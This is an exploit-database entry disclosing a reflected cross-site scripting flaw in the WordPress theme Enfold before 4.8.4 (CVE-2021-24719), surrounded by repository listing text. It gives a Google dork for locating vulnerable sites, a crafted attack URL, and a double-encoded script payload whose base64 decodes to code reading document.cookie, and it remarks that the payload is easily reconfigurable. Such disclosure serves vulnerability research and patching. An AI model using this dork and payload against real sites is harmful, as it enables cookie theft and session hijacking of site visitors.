b17b7fe4b2
10 changes to exploits/shellcodes Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS) Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS) WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS) myfactory FMS 7.1-911 - 'Multiple' Reflected Cross-Site Scripting (XSS) Online Motorcycle (Bike) Rental System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)
26 lines
No EOL
1.7 KiB
Text
26 lines
No EOL
1.7 KiB
Text
# Exploit Title: WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS)
|
|
# Google Dork: "inurl:avia-element-paging"
|
|
# Date: 18/10/2021
|
|
# Exploit Author: Francisco Díaz-Pache Alonso, Sergio Corral Cristo and David Álvarez Robles
|
|
# Vendor Homepage: https://kriesi.at/
|
|
# Version: Enfold < 4.8.4 (all versions)
|
|
# Tested on: Ubuntu
|
|
# CVE : CVE-2021-24719
|
|
|
|
# Full disclosure and PoC on: https://blog.asturhackers.es/cross-site-scripting-xss-reflejado-en-tema-enfold-4-8-4-para-wordpress
|
|
|
|
While navigating on WordPress sites with Enfold Theme previous than 4.8.4 version and Avia Page Builder, string “ProofOfConcept” can be reflected literally on pagination numbers. Moreover, the parameter “avia-element-paging” appears and can be used for crafting Google Dork based searches.
|
|
|
|
https://[hostname]/[path]?ProofOfConcept --> This URL must include pages shown by Enfold theme
|
|
|
|
Changing the “ProofOfConcept” text with a Cross-Site-Scripting (XSS) payload, the page processes and executes it. This is a reflected Cross-Site-Scripting (XSS) vulnerability. Find the following URL that includes the malicious payload.
|
|
|
|
https://[hostname]/[path]/?%2527%253E%253Cscript%253Eeval%2528atob%2528%2522Y29uc29sZS5sb2coZG9j --> This URL must include pages shown by Enfold theme
|
|
|
|
Payload (double encoded): this payload is double encoded in the URL from:
|
|
'><script>eval(atob("Y29uc29sZS5sb2coZG9jdW1lbnQuY29va2llKQ=="))</script>
|
|
|
|
Payload (base64): the “atob” payload is Base64 encoded from:
|
|
console.log(document.cookie)
|
|
|
|
Navigating to the crafted URL, the console log displays some cookies that are used by the affected site (i.e. cookies with no “HttpOnly” flag set). However, the payload can be easily configurable. |